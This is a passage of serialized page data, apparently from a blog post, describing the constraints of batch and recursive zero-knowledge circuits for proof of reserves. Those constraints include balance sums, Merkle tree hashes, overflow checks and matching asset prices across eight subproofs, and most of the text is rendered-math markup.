ag":315,"props":92617,"children":92619},{"className":92618,"style":2444},[2443],[],{"type":20,"tag":315,"props":92621,"children":92623},{"className":92622},[2449,2450,2451,2452],[92624],{"type":20,"tag":315,"props":92625,"children":92627},{"className":92626},[2403,19992,2452],[92628],{"type":26,"value":2122},{"type":20,"tag":315,"props":92630,"children":92632},{"className":92631},[20149],[92633],{"type":26,"value":20152},{"type":20,"tag":315,"props":92635,"children":92637},{"className":92636},[2429],[92638],{"type":20,"tag":315,"props":92639,"children":92641},{"className":92640,"style":91388},[2434],[92642],{"type":20,"tag":315,"props":92643,"children":92644},{},[],{"type":20,"tag":315,"props":92646,"children":92648},{"className":92647},[20121],[92649],{"type":26,"value":2117},{"type":20,"tag":315,"props":92651,"children":92653},{"className":92652},[2403,19992],[92654],{"type":26,"value":35},{"type":20,"tag":315,"props":92656,"children":92658},{"className":92657},[2403,19992],[92659],{"type":26,"value":91296},{"type":20,"tag":315,"props":92661,"children":92663},{"className":92662},[2403,19992],[92664],{"type":26,"value":20134},{"type":20,"tag":315,"props":92666,"children":92668},{"className":92667,"style":91305},[2403],[92669],{"type":26,"value":1463},{"type":20,"tag":315,"props":92671,"children":92673},{"className":92672},[2403,19992],[92674],{"type":26,"value":54656},{"type":20,"tag":315,"props":92676,"children":92678},{"className":92677},[2403,19992],[92679],{"type":26,"value":91564},{"type":20,"tag":315,"props":92681,"children":92683},{"className":92682},[2403,19992],[92684],{"type":26,"value":49385},{"type":20,"tag":315,"props":92686,"children":92688},{"className":92687},[20143],[92689],{"type":26,"value":13812},{"type":26,"value":4852},{"type":20,"tag":3717,"props":92692,"children":92693},{},[92694],{"type":26,"value":92695},"(sum proof)",{"type":20,"tag":72,"props":92697,"children":92698},{},[92699,93088,93089],{"type":20,"tag":119,"props":92700,"children":92702},{"className":92701},[2375,2376],[92703],{"type":20,"tag":315,"props":92704,"children":92706},{"className":92705},[2381],[92707],{"type":20,"tag":315,"props":92708,"children":92710},{"className":92709,"ariaHidden":2387},[2386],[92711,92797],{"type":20,"tag":315,"props":92712,"children":92714},{"className":92713},[2392],[92715,92720,92725,92731,92737,92742,92747,92752,92757,92763,92768,92774,92779,92784,92788,92793],{"type":20,"tag":315,"props":92716,"children":92719},{"className":92717,"style":92718},[2397],"height:1.0044em;vertical-align:-0.31em;",[],{"type":20,"tag":315,"props":92721,"children":92723},{"className":92722},[2403,19992],[92724],{"type":26,"value":49385},{"type":20,"tag":315,"props":92726,"children":92728},{"className":92727,"style":91305},[2403,19992],[92729],{"type":26,"value":92730},"er",{"type":20,"tag":315,"props":92732,"children":92735},{"className":92733,"style":92734},[2403,19992],"margin-right:0.03148em;",[92736],{"type":26,"value":86942},{"type":20,"tag":315,"props":92738,"children":92740},{"className":92739,"style":91317},[2403,19992],[92741],{"type":26,"value":91320},{"type":20,"tag":315,"props":92743,"children":92745},{"className":92744},[2403,19992],[92746],{"type":26,"value":49706},{"type":20,"tag":315,"props":92748,"children":92750},{"className":92749,"style":91305},[2403],[92751],{"type":26,"value":1463},{"type":20,"tag":315,"props":92753,"children":92755},{"className":92754},[2403,19992],[92756],{"type":26,"value":20134},{"type":20,"tag":315,"props":92758,"children":92760},{"className":92759},[2403,19992],[92761],{"type":26,"value":92762},"ree",{"type":20,"tag":315,"props":92764,"children":92766},{"className":92765,"style":91305},[2403],[92767],{"type":26,"value":1463},{"type":20,"tag":315,"props":92769,"children":92771},{"className":92770},[2403,19992],[92772],{"type":26,"value":92773},"ha",{"type":20,"tag":315,"props":92775,"children":92777},{"className":92776},[2403,19992],[92778],{"type":26,"value":9052},{"type":20,"tag":315,"props":92780,"children":92782},{"className":92781},[2403,19992],[92783],{"type":26,"value":82603},{"type":20,"tag":315,"props":92785,"children":92787},{"className":92786,"style":2581},[2483],[],{"type":20,"tag":315,"props":92789,"children":92791},{"className":92790},[2586],[92792],{"type":26,"value":538},{"type":20,"tag":315,"props":92794,"children":92796},{"className":92795,"style":2581},[2483],[],{"type":20,"tag":315,"props":92798,"children":92800},{"className":92799},[2392],[92801,92805,92810,92815,92820,92825,92830,92835,92840,92845,92850,92907,92912,92916,92921,92926,92983,92988,92993,92997,93002,93007,93011,93016,93021,93083],{"type":20,"tag":315,"props":92802,"children":92804},{"className":92803,"style":2504},[2397],[],{"type":20,"tag":315,"props":92806,"children":92808},{"className":92807,"style":19993},[2403,19992],[92809],{"type":26,"value":19996},{"type":20,"tag":315,"props":92811,"children":92813},{"className":92812},[2403,19992],[92814],{"type":26,"value":91259},{"type":20,"tag":315,"props":92816,"children":92818},{"className":92817},[2403,19992],[92819],{"type":26,"value":2122},{"type":20,"tag":315,"props":92821,"children":92823},{"className":92822},[2403,19992],[92824],{"type":26,"value":68820},{"type":20,"tag":315,"props":92826,"children":92828},{"className":92827},[2403,19992],[92829],{"type":26,"value":91275},{"type":20,"tag":315,"props":92831,"children":92833},{"className":92832},[2403,19992],[92834],{"type":26,"value":54656},{"type":20,"tag":315,"props":92836,"children":92838},{"className":92837},[20121],[92839],{"type":26,"value":1049},{"type":20,"tag":315,"props":92841,"children":92843},{"className":92842},[2403,19992],[92844],{"type":26,"value":92773},{"type":20,"tag":315,"props":92846,"children":92848},{"className":92847},[2403,19992],[92849],{"type":26,"value":9052},{"type":20,"tag":315,"props":92851,"children":92853},{"className":92852},[2403],[92854,92859],{"type":20,"tag":315,"props":92855,"children":92857},{"className":92856},[2403,19992],[92858],{"type":26,"value":82603},{"type":20,"tag":315,"props":92860,"children":92862},{"className":92861},[2419],[92863],{"type":20,"tag":315,"props":92864,"children":92866},{"className":92865},[2424,20046],[92867,92896],{"type":20,"tag":315,"props":92868,"children":92870},{"className":92869},[2429],[92871,92891],{"type":20,"tag":315,"props":92872,"children":92874},{"className":92873,"style":91357},[2434],[92875],{"type":20,"tag":315,"props":92876,"children":92877},{"style":91361},[92878,92882],{"type":20,"tag":315,"props":92879,"children":92881},{"className":92880,"style":2444},[2443],[],{"type":20,"tag":315,"props":92883,"children":92885},{"className":92884},[2449,2450,2451,2452],[92886],{"type":20,"tag":315,"props":92887,"children":92889},{"className":92888},[2403,2452],[92890],{"type":26,"value":1063},{"type":20,"tag":315,"props":92892,"children":92894},{"className":92893},[20149],[92895],{"type":26,"value":20152},{"type":20,"tag":315,"props":92897,"children":92899},{"className":92898},[2429],[92900],{"type":20,"tag":315,"props":92901,"children":92903},{"className":92902,"style":91388},[2434],[92904],{"type":20,"tag":315,"props":92905,"children":92906},{},[],{"type":20,"tag":315,"props":92908,"children":92910},{"className":92909},[2515],[92911],{"type":26,"value":2518},{"type":20,"tag":315,"props":92913,"children":92915},{"className":92914,"style":2522},[2483],[],{"type":20,"tag":315,"props":92917,"children":92919},{"className":92918},[2403,19992],[92920],{"type":26,"value":92773},{"type":20,"tag":315,"props":92922,"children":92924},{"className":92923},[2403,19992],[92925],{"type":26,"value":9052},{"type":20,"tag":315,"props":92927,"children":92929},{"className":92928},[2403],[92930,92935],{"type":20,"tag":315,"props":92931,"children":92933},{"className":92932},[2403,19992],[92934],{"type":26,"value":82603},{"type":20,"tag":315,"props":92936,"children":92938},{"className":92937},[2419],[92939],{"type":20,"tag":315,"props":92940,"children":92942},{"className":92941},[2424,20046],[92943,92972],{"type":20,"tag":315,"props":92944,"children":92946},{"className":92945},[2429],[92947,92967],{"type":20,"tag":315,"props":92948,"children":92950},{"className":92949,"style":91357},[2434],[92951],{"type":20,"tag":315,"props":92952,"children":92953},{"style":91361},[92954,92958],{"type":20,"tag":315,"props":92955,"children":92957},{"className":92956,"style":2444},[2443],[],{"type":20,"tag":315,"props":92959,"children":92961},{"className":92960},[2449,2450,2451,2452],[92962],{"type":20,"tag":315,"props":92963,"children":92965},{"className":92964},[2403,2452],[92966],{"type":26,"value":2406},{"type":20,"tag":315,"props":92968,"children":92970},{"className":92969},[20149],[92971],{"type":26,"value":20152},{"type":20,"tag":315,"props":92973,"children":92975},{"className":92974},[2429],[92976],{"type":20,"tag":315,"props":92977,"children":92979},{"className":92978,"style":91388},[2434],[92980],{"type":20,"tag":315,"props":92981,"children":92982},{},[],{"type":20,"tag":315,"props":92984,"children":92986},{"className":92985},[2515],[92987],{"type":26,"value":2518},{"type":20,"tag":315,"props":92989,"children":92991},{"className":92990},[2483],[92992],{"type":26,"value":20093},{"type":20,"tag":315,"props":92994,"children":92996},{"className":92995,"style":2522},[2483],[],{"type":20,"tag":315,"props":92998,"children":93000},{"className":92999},[2403],[93001],{"type":26,"value":7990},{"type":20,"tag":315,"props":93003,"children":93005},{"className":93004},[2515],[93006],{"type":26,"value":2518},{"type":20,"tag":315,"props":93008,"children":93010},{"className":93009,"style":2522},[2483],[],{"type":20,"tag":315,"props":93012,"children":93014},{"className":93013},[2403,19992],[93015],{"type":26,"value":92773},{"type":20,"tag":315,"props":93017,"children":93019},{"className":93018},[2403,19992],[93020],{"type":26,"value":9052},{"type":20,"tag":315,"props":93022,"children":93024},{"className":93023},[2403],[93025,93030],{"type":20,"tag":315,"props":93026,"children":93028},{"className":93027},[2403,19992],[93029],{"type":26,"value":82603},{"type":20,"tag":315,"props":93031,"children":93033},{"className":93032},[2419],[93034],{"type":20,"tag":315,"props":93035,"children":93037},{"className":93036},[2424,20046],[93038,93072],{"type":20,"tag":315,"props":93039,"children":93041},{"className":93040},[2429],[93042,93067],{"type":20,"tag":315,"props":93043,"children":93045},{"className":93044,"style":91357},[2434],[93046],{"type":20,"tag":315,"props":93047,"children":93048},{"style":91361},[93049,93053],{"type":20,"tag":315,"props":93050,"children":93052},{"className":93051,"style":2444},[2443],[],{"type":20,"tag":315,"props":93054,"children":93056},{"className":93055},[2449,2450,2451,2452],[93057],{"type":20,"tag":315,"props":93058,"children":93060},{"className":93059},[2403,2452],[93061],{"type":20,"tag":315,"props":93062,"children":93064},{"className":93063},[2403,2452],[93065],{"type":26,"value":93066},"511",{"type":20,"tag":315,"props":93068,"children":93070},{"className":93069},[20149],[93071],{"type":26,"value":20152},{"type":20,"tag":315,"props":93073,"children":93075},{"className":93074},[2429],[93076],{"type":20,"tag":315,"props":93077,"children":93079},{"className":93078,"style":91388},[2434],[93080],{"type":20,"tag":315,"props":93081,"children":93082},{},[],{"type":20,"tag":315,"props":93084,"children":93086},{"className":93085},[20143],[93087],{"type":26,"value":1509},{"type":26,"value":4852},{"type":20,"tag":3717,"props":93090,"children":93091},{},[93092],{"type":26,"value":93093},"(merkle tree hash)",{"type":20,"tag":72,"props":93095,"children":93096},{},[93097,93372,93373,93378,93380,93385],{"type":20,"tag":119,"props":93098,"children":93100},{"className":93099},[2375,2376],[93101],{"type":20,"tag":315,"props":93102,"children":93104},{"className":93103},[2381],[93105],{"type":20,"tag":315,"props":93106,"children":93108},{"className":93107,"ariaHidden":2387},[2386],[93109,93302],{"type":20,"tag":315,"props":93110,"children":93112},{"className":93111},[2392],[93113,93117,93122,93127,93132,93137,93142,93147,93152,93157,93162,93167,93172,93177,93182,93187,93244,93249,93254,93259,93264,93269,93274,93279,93284,93289,93293,93298],{"type":20,"tag":315,"props":93114,"children":93116},{"className":93115,"style":91247},[2397],[],{"type":20,"tag":315,"props":93118,"children":93120},{"className":93119},[2403,19992],[93121],{"type":26,"value":35},{"type":20,"tag":315,"props":93123,"children":93125},{"className":93124},[2403,19992],[93126],{"type":26,"value":91762},{"type":20,"tag":315,"props":93128,"children":93130},{"className":93129},[2403,19992],[93131],{"type":26,"value":91564},{"type":20,"tag":315,"props":93133,"children":93135},{"className":93134},[2403,19992],[93136],{"type":26,"value":54656},{"type":20,"tag":315,"props":93138,"children":93140},{"className":93139},[2403,19992],[93141],{"type":26,"value":20134},{"type":20,"tag":315,"props":93143,"children":93145},{"className":93144,"style":91305},[2403],[93146],{"type":26,"value":1463},{"type":20,"tag":315,"props":93148,"children":93150},{"className":93149},[2403,19992],[93151],{"type":26,"value":35},{"type":20,"tag":315,"props":93153,"children":93155},{"className":93154},[2403,19992],[93156],{"type":26,"value":91296},{"type":20,"tag":315,"props":93158,"children":93160},{"className":93159},[2403,19992],[93161],{"type":26,"value":20134},{"type":20,"tag":315,"props":93163,"children":93165},{"className":93164,"style":91305},[2403],[93166],{"type":26,"value":1463},{"type":20,"tag":315,"props":93168,"children":93170},{"className":93169},[2403,19992],[93171],{"type":26,"value":91313},{"type":20,"tag":315,"props":93173,"children":93175},{"className":93174,"style":91317},[2403,19992],[93176],{"type":26,"value":91320},{"type":20,"tag":315,"props":93178,"children":93180},{"className":93179},[2403,19992],[93181],{"type":26,"value":91326},{"type":20,"tag":315,"props":93183,"children":93185},{"className":93184},[2403,19992],[93186],{"type":26,"value":91332},{"type":20,"tag":315,"props":93188,"children":93190},{"className":93189},[2403],[93191,93196],{"type":20,"tag":315,"props":93192,"children":93194},{"className":93193},[2403,19992],[93195],{"type":26,"value":9052},{"type":20,"tag":315,"props":93197,"children":93199},{"className":93198},[2419],[93200],{"type":20,"tag":315,"props":93201,"children":93203},{"className":93202},[2424,20046],[93204,93233],{"type":20,"tag":315,"props":93205,"children":93207},{"className":93206},[2429],[93208,93228],{"type":20,"tag":315,"props":93209,"children":93211},{"className":93210,"style":91834},[2434],[93212],{"type":20,"tag":315,"props":93213,"children":93214},{"style":91361},[93215,93219],{"type":20,"tag":315,"props":93216,"children":93218},{"className":93217,"style":2444},[2443],[],{"type":20,"tag":315,"props":93220,"children":93222},{"className":93221},[2449,2450,2451,2452],[93223],{"type":20,"tag":315,"props":93224,"children":93226},{"className":93225},[2403,19992,2452],[93227],{"type":26,"value":2122},{"type":20,"tag":315,"props":93229,"children":93231},{"className":93230},[20149],[93232],{"type":26,"value":20152},{"type":20,"tag":315,"props":93234,"children":93236},{"className":93235},[2429],[93237],{"type":20,"tag":315,"props":93238,"children":93240},{"className":93239,"style":91388},[2434],[93241],{"type":20,"tag":315,"props":93242,"children":93243},{},[],{"type":20,"tag":315,"props":93245,"children":93247},{"className":93246},[20121],[93248],{"type":26,"value":2117},{"type":20,"tag":315,"props":93250,"children":93252},{"className":93251},[2403,19992],[93253],{"type":26,"value":35},{"type":20,"tag":315,"props":93255,"children":93257},{"className":93256},[2403,19992],[93258],{"type":26,"value":91296},{"type":20,"tag":315,"props":93260,"children":93262},{"className":93261},[2403,19992],[93263],{"type":26,"value":20134},{"type":20,"tag":315,"props":93265,"children":93267},{"className":93266,"style":91305},[2403],[93268],{"type":26,"value":1463},{"type":20,"tag":315,"props":93270,"children":93272},{"className":93271},[2403,19992],[93273],{"type":26,"value":54656},{"type":20,"tag":315,"props":93275,"children":93277},{"className":93276},[2403,19992],[93278],{"type":26,"value":91564},{"type":20,"tag":315,"props":93280,"children":93282},{"className":93281},[2403,19992],[93283],{"type":26,"value":49385},{"type":20,"tag":315,"props":93285,"children":93287},{"className":93286},[20143],[93288],{"type":26,"value":13812},{"type":20,"tag":315,"props":93290,"children":93292},{"className":93291,"style":2581},[2483],[],{"type":20,"tag":315,"props":93294,"children":93296},{"className":93295},[2586],[93297],{"type":26,"value":4199},{"type":20,"tag":315,"props":93299,"children":93301},{"className":93300,"style":2581},[2483],[],{"type":20,"tag":315,"props":93303,"children":93305},{"className":93304},[2392],[93306,93310,93317,93322,93328,93333,93338,93343,93349,93354,93360,93366],{"type":20,"tag":315,"props":93307,"children":93309},{"className":93308,"style":91247},[2397],[],{"type":20,"tag":315,"props":93311,"children":93314},{"className":93312,"style":93313},[2403,19992],"margin-right:0.10903em;",[93315],{"type":26,"value":93316},"M",{"type":20,"tag":315,"props":93318,"children":93320},{"className":93319},[2403,19992],[93321],{"type":26,"value":75025},{"type":20,"tag":315,"props":93323,"children":93326},{"className":93324,"style":93325},[2403,19992],"margin-right:0.07847em;",[93327],{"type":26,"value":4527},{"type":20,"tag":315,"props":93329,"children":93331},{"className":93330,"style":91305},[2403],[93332],{"type":26,"value":1463},{"type":20,"tag":315,"props":93334,"children":93336},{"className":93335,"style":20451},[2403,19992],[93337],{"type":26,"value":20454},{"type":20,"tag":315,"props":93339,"children":93341},{"className":93340},[2403,19992],[93342],{"type":26,"value":75025},{"type":20,"tag":315,"props":93344,"children":93346},{"className":93345,"style":20451},[2403,19992],[93347],{"type":26,"value":93348},"FE",{"type":20,"tag":315,"props":93350,"children":93352},{"className":93351,"style":91305},[2403],[93353],{"type":26,"value":1463},{"type":20,"tag":315,"props":93355,"children":93357},{"className":93356,"style":93325},[2403,19992],[93358],{"type":26,"value":93359},"I",{"type":20,"tag":315,"props":93361,"children":93363},{"className":93362,"style":19993},[2403,19992],[93364],{"type":26,"value":93365},"NT",{"type":20,"tag":315,"props":93367,"children":93369},{"className":93368},[2403],[93370],{"type":26,"value":93371},"/512",{"type":26,"value":4852},{"type":20,"tag":3717,"props":93374,"children":93375},{},[93376],{"type":26,"value":93377},"(overflow check)",{"type":26,"value":93379}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":20,"tag":119,"props":93381,"children":93383},{"className":93382},[],[93384],{"type":26,"value":91163},{"type":26,"value":1509},{"type":20,"tag":29,"props":93387,"children":93388},{},[93389],{"type":26,"value":93390},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":20,"tag":29,"props":93392,"children":93393},{},[93394],{"type":20,"tag":2308,"props":93395,"children":93397},{"alt":48830,"src":93396},"/posts/por/batch-circuit-inputs.png",[],{"type":20,"tag":219,"props":93399,"children":93401},{"id":93400},"recursive-circuit",[93402],{"type":26,"value":93403},"Recursive Circuit",{"type":20,"tag":29,"props":93405,"children":93406},{},[93407],{"type":26,"value":93408},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":20,"tag":29,"props":93410,"children":93411},{},[93412],{"type":20,"tag":3717,"props":93413,"children":93414},{},[93415],{"type":26,"value":91677},{"type":20,"tag":15089,"props":93417,"children":93418},{},[93419,93423,93428],{"type":20,"tag":72,"props":93420,"children":93421},{},[93422],{"type":26,"value":91695},{"type":20,"tag":72,"props":93424,"children":93425},{},[93426],{"type":26,"value":93427},"Asset prices",{"type":20,"tag":72,"props":93429,"children":93430},{},[93431],{"type":26,"value":91690},{"type":20,"tag":29,"props":93433,"children":93434},{},[93435],{"type":20,"tag":3717,"props":93436,"children":93437},{},[93438],{"type":26,"value":91703},{"type":20,"tag":15089,"props":93440,"children":93441},{},[93442],{"type":20,"tag":72,"props":93443,"children":93444},{},[93445],{"type":26,"value":93446},"8 subproofs",{"type":20,"tag":29,"props":93448,"children":93449},{},[93450],{"type":20,"tag":3717,"props":93451,"children":93452},{},[93453],{"type":26,"value":91724},{"type":20,"tag":15089,"props":93455,"children":93456},{},[93457,93867,94198,94565,94952],{"type":20,"tag":72,"props":93458,"children":93459},{},[93460,93862,93863],{"type":20,"tag":119,"props":93461,"children":93463},{"className":93462},[2375,2376],[93464],{"type":20,"tag":315,"props":93465,"children":93467},{"className":93466},[2381],[93468],{"type":20,"tag":315,"props":93469,"children":93471},{"className":93470,"ariaHidden":2387},[2386],[93472,93608],{"type":20,"tag":315,"props":93473,"children":93475},{"className":93474},[2392],[93476,93480,93485,93490,93495,93500,93505,93510,93515,93520,93525,93530,93535,93540,93545,93550,93555,93560,93565,93570,93575,93580,93585,93590,93595,93599,93604],{"type":20,"tag":315,"props":93477,"children":93479},{"className":93478,"style":91247},[2397],[],{"type":20,"tag":315,"props":93481,"children":93483},{"className":93482},[2403,19992],[93484],{"type":26,"value":20134},{"type":20,"tag":315,"props":93486,"children":93488},{"className":93487},[2403,19992],[93489],{"type":26,"value":91275},{"type":20,"tag":315,"props":93491,"children":93493},{"className":93492},[2403,19992],[93494],{"type":26,"value":20134},{"type":20,"tag":315,"props":93496,"children":93498},{"className":93497},[2403,19992],[93499],{"type":26,"value":35},{"type":20,"tag":315,"props":93501,"children":93503},{"className":93502,"style":91317},[2403,19992],[93504],{"type":26,"value":91320},{"type":20,"tag":315,"props":93506,"children":93508},{"className":93507,"style":91305},[2403],[93509],{"type":26,"value":1463},{"type":20,"tag":315,"props":93511,"children":93513},{"className":93512},[2403,19992],[93514],{"type":26,"value":35},{"type":20,"tag":315,"props":93516,"children":93518},{"className":93517},[2403,19992],[93519],{"type":26,"value":91296},{"type":20,"tag":315,"props":93521,"children":93523},{"className":93522},[2403,19992],[93524],{"type":26,"value":20134},{"type":20,"tag":315,"props":93526,"children":93528},{"className":93527,"style":91305},[2403],[93529],{"type":26,"value":1463},{"type":20,"tag":315,"props":93531,"children":93533},{"className":93532},[2403,19992],[93534],{"type":26,"value":91313},{"type":20,"tag":315,"props":93536,"children":93538},{"className":93537,"style":91317},[2403,19992],[93539],{"type":26,"value":91320},{"type":20,"tag":315,"props":93541,"children":93543},{"className":93542},[2403,19992],[93544],{"type":26,"value":91326},{"type":20,"tag":315,"props":93546,"children":93548},{"className":93547},[2403,19992],[93549],{"type":26,"value":91332},{"type":20,"tag":315,"props":93551,"children":93553},{"className":93552},[20121],[93554],{"type":26,"value":2117},{"type":20,"tag":315,"props":93556,"children":93558},{"className":93557},[2403,19992],[93559],{"type":26,"value":35},{"type":20,"tag":315,"props":93561,"children":93563},{"className":93562},[2403,19992],[93564],{"type":26,"value":91296},{"type":20,"tag":315,"props":93566,"children":93568},{"className":93567},[2403,19992],[93569],{"type":26,"value":20134},{"type":20,"tag":315,"props":93571,"children":93573},{"className":93572,"style":91305},[2403],[93574],{"type":26,"value":1463},{"type":20,"tag":315,"props":93576,"children":93578},{"className":93577},[2403,19992],[93579],{"type":26,"value":54656},{"type":20,"tag":315,"props":93581,"children":93583},{"className":93582},[2403,19992],[93584],{"type":26,"value":91564},{"type":20,"tag":315,"props":93586,"children":93588},{"className":93587},[2403,19992],[93589],{"type":26,"value":49385},{"type":20,"tag":315,"props":93591,"children":93593},{"className":93592},[20143],[93594],{"type":26,"value":13812},{"type":20,"tag":315,"props":93596,"children":93598},{"className":93597,"style":2581},[2483],[],{"type":20,"tag":315,"props":93600,"children":93602},{"className":93601},[2586],[93603],{"type":26,"value":538},{"type":20,"tag":315,"props":93605,"children":93607},{"className":93606,"style":2581},[2483],[],{"type":20,"tag":315,"props":93609,"children":93611},{"className":93610},[2392],[93612,93616,93621,93626,93631,93636,93641,93646,93652,93711,93716,93721,93726,93731,93736,93741,93746,93751,93757,93762,93767,93772,93777,93782,93787,93792,93797,93802,93807,93812,93817,93822,93827,93832,93837,93842,93847,93852,93857],{"type":20,"tag":315,"props":93613,"children":93615},{"className":93614,"style":91247},[2397],[],{"type":20,"tag":315,"props":93617,"children":93619},{"className":93618},[2403],[93620],{"type":26,"value":91895},{"type":20,"tag":315,"props":93622,"children":93624},{"className":93623},[2483],[93625],{"type":26,"value":20093},{"type":20,"tag":315,"props":93627,"children":93629},{"className":93628},[2403,19992],[93630],{"type":26,"value":9052},{"type":20,"tag":315,"props":93632,"children":93634},{"className":93633},[2403,19992],[93635],{"type":26,"value":91564},{"type":20,"tag":315,"props":93637,"children":93639},{"className":93638},[2403,19992],[93640],{"type":26,"value":1604},{"type":20,"tag":315,"props":93642,"children":93644},{"className":93643},[2403,19992],[93645],{"type":26,"value":29},{"type":20,"tag":315,"props":93647,"children":93649},{"className":93648},[2403,19992],[93650],{"type":26,"value":93651},"roo",{"type":20,"tag":315,"props":93653,"children":93655},{"className":93654},[2403],[93656,93662],{"type":20,"tag":315,"props":93657,"children":93660},{"className":93658,"style":93659},[2403,19992],"margin-right:0.10764em;",[93661],{"type":26,"value":31499},{"type":20,"tag":315,"props":93663,"children":93665},{"className":93664},[2419],[93666],{"type":20,"tag":315,"props":93667,"children":93669},{"className":93668},[2424,20046],[93670,93700],{"type":20,"tag":315,"props":93671,"children":93673},{"className":93672},[2429],[93674,93695],{"type":20,"tag":315,"props":93675,"children":93677},{"className":93676,"style":91834},[2434],[93678],{"type":20,"tag":315,"props":93679,"children":93681},{"style":93680},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[93682,93686],{"type":20,"tag":315,"props":93683,"children":93685},{"className":93684,"style":2444},[2443],[],{"type":20,"tag":315,"props":93687,"children":93689},{"className":93688},[2449,2450,2451,2452],[93690],{"type":20,"tag":315,"props":93691,"children":93693},{"className":93692},[2403,19992,2452],[93694],{"type":26,"value":2122},{"type":20,"tag":315,"props":93696,"children":93698},{"className":93697},[20149],[93699],{"type":26,"value":20152},{"type":20,"tag":315,"props":93701,"children":93703},{"className":93702},[2429],[93704],{"type":20,"tag":315,"props":93705,"children":93707},{"className":93706,"style":91388},[2434],[93708],{"type":20,"tag":315,"props":93709,"children":93710},{},[],{"type":20,"tag":315,"props":93712,"children":93714},{"className":93713},[2403],[93715],{"type":26,"value":61},{"type":20,"tag":315,"props":93717,"children":93719},{"className":93718},[2403,19992],[93720],{"type":26,"value":29},{"type":20,"tag":315,"props":93722,"children":93724},{"className":93723},[2403,19992],[93725],{"type":26,"value":91564},{"type":20,"tag":315,"props":93727,"children":93729},{"className":93728},[2403,19992],[93730],{"type":26,"value":1604},{"type":20,"tag":315,"props":93732,"children":93734},{"className":93733,"style":91317},[2403,19992],[93735],{"type":26,"value":91320},{"type":20,"tag":315,"props":93737,"children":93739},{"className":93738},[2403,19992],[93740],{"type":26,"value":2122},{"type":20,"tag":315,"props":93742,"children":93744},{"className":93743},[2403,19992],[93745],{"type":26,"value":1528},{"type":20,"tag":315,"props":93747,"children":93749},{"className":93748,"style":91305},[2403],[93750],{"type":26,"value":1463},{"type":20,"tag":315,"props":93752,"children":93754},{"className":93753},[2403,19992],[93755],{"type":26,"value":93756},"in",{"type":20,"tag":315,"props":93758,"children":93760},{"className":93759},[2403,19992],[93761],{"type":26,"value":29},{"type":20,"tag":315,"props":93763,"children":93765},{"className":93764},[2403,19992],[93766],{"type":26,"value":91564},{"type":20,"tag":315,"props":93768,"children":93770},{"className":93769},[2403,19992],[93771],{"type":26,"value":20134},{"type":20,"tag":315,"props":93773,"children":93775},{"className":93774},[2403],[93776],{"type":26,"value":61},{"type":20,"tag":315,"props":93778,"children":93780},{"className":93779},[2403,19992],[93781],{"type":26,"value":35},{"type":20,"tag":315,"props":93783,"children":93785},{"className":93784},[2403,19992],[93786],{"type":26,"value":91296},{"type":20,"tag":315,"props":93788,"children":93790},{"className":93789},[2403,19992],[93791],{"type":26,"value":20134},{"type":20,"tag":315,"props":93793,"children":93795},{"className":93794,"style":91305},[2403],[93796],{"type":26,"value":1463},{"type":20,"tag":315,"props":93798,"children":93800},{"className":93799},[2403,19992],[93801],{"type":26,"value":91313},{"type":20,"tag":315,"props":93803,"children":93805},{"className":93804,"style":91317},[2403,19992],[93806],{"type":26,"value":91320},{"type":20,"tag":315,"props":93808,"children":93810},{"className":93809},[2403,19992],[93811],{"type":26,"value":91326},{"type":20,"tag":315,"props":93813,"children":93815},{"className":93814},[2403,19992],[93816],{"type":26,"value":92135},{"type":20,"tag":315,"props":93818,"children":93820},{"className":93819},[20121],[93821],{"type":26,"value":2117},{"type":20,"tag":315,"props":93823,"children":93825},{"className":93824},[2403,19992],[93826],{"type":26,"value":35},{"type":20,"tag":315,"props":93828,"children":93830},{"className":93829},[2403,19992],[93831],{"type":26,"value":91296},{"type":20,"tag":315,"props":93833,"children":93835},{"className":93834},[2403,19992],[93836],{"type":26,"value":20134},{"type":20,"tag":315,"props":93838,"children":93840},{"className":93839,"style":91305},[2403],[93841],{"type":26,"value":1463},{"type":20,"tag":315,"props":93843,"children":93845},{"className":93844},[2403,19992],[93846],{"type":26,"value":54656},{"type":20,"tag":315,"props":93848,"children":93850},{"className":93849},[2403,19992],[93851],{"type":26,"value":91564},{"type":20,"tag":315,"props":93853,"children":93855},{"className":93854},[2403,19992],[93856],{"type":26,"value":49385},{"type":20,"tag":315,"props":93858,"children":93860},{"className":93859},[20143],[93861],{"type":26,"value":13812},{"type":26,"value":4852},{"type":20,"tag":3717,"props":93864,"children":93865},{},[93866],{"type":26,"value":92695},{"type":20,"tag":72,"props":93868,"children":93869},{},[93870],{"type":20,"tag":119,"props":93871,"children":93873},{"className":93872},[2375,2376],[93874],{"type":20,"tag":315,"props":93875,"children":93877},{"className":93876},[2381],[93878],{"type":20,"tag":315,"props":93879,"children":93881},{"className":93880,"ariaHidden":2387},[2386],[93882,93988],{"type":20,"tag":315,"props":93883,"children":93885},{"className":93884},[2392],[93886,93890,93895,93900,93905,93910,93915,93920,93925,93930,93935,93940,93945,93950,93955,93960,93965,93970,93975,93979,93984],{"type":20,"tag":315,"props":93887,"children":93889},{"className":93888,"style":91247},[2397],[],{"type":20,"tag":315,"props":93891,"children":93893},{"className":93892},[2403,19992],[93894],{"type":26,"value":35},{"type":20,"tag":315,"props":93896,"children":93898},{"className":93897},[2403,19992],[93899],{"type":26,"value":91296},{"type":20,"tag":315,"props":93901,"children":93903},{"className":93902},[2403,19992],[93904],{"type":26,"value":20134},{"type":20,"tag":315,"props":93906,"children":93908},{"className":93907,"style":91305},[2403],[93909],{"type":26,"value":1463},{"type":20,"tag":315,"props":93911,"children":93913},{"className":93912},[2403,19992],[93914],{"type":26,"value":29},{"type":20,"tag":315,"props":93916,"children":93918},{"className":93917,"style":91305},[2403,19992],[93919],{"type":26,"value":92124},{"type":20,"tag":315,"props":93921,"children":93923},{"className":93922},[2403,19992],[93924],{"type":26,"value":2122},{"type":20,"tag":315,"props":93926,"children":93928},{"className":93927},[2403,19992],[93929],{"type":26,"value":91332},{"type":20,"tag":315,"props":93931,"children":93933},{"className":93932},[20121],[93934],{"type":26,"value":2117},{"type":20,"tag":315,"props":93936,"children":93938},{"className":93937},[2403,19992],[93939],{"type":26,"value":35},{"type":20,"tag":315,"props":93941,"children":93943},{"className":93942},[2403,19992],[93944],{"type":26,"value":91296},{"type":20,"tag":315,"props":93946,"children":93948},{"className":93947},[2403,19992],[93949],{"type":26,"value":20134},{"type":20,"tag":315,"props":939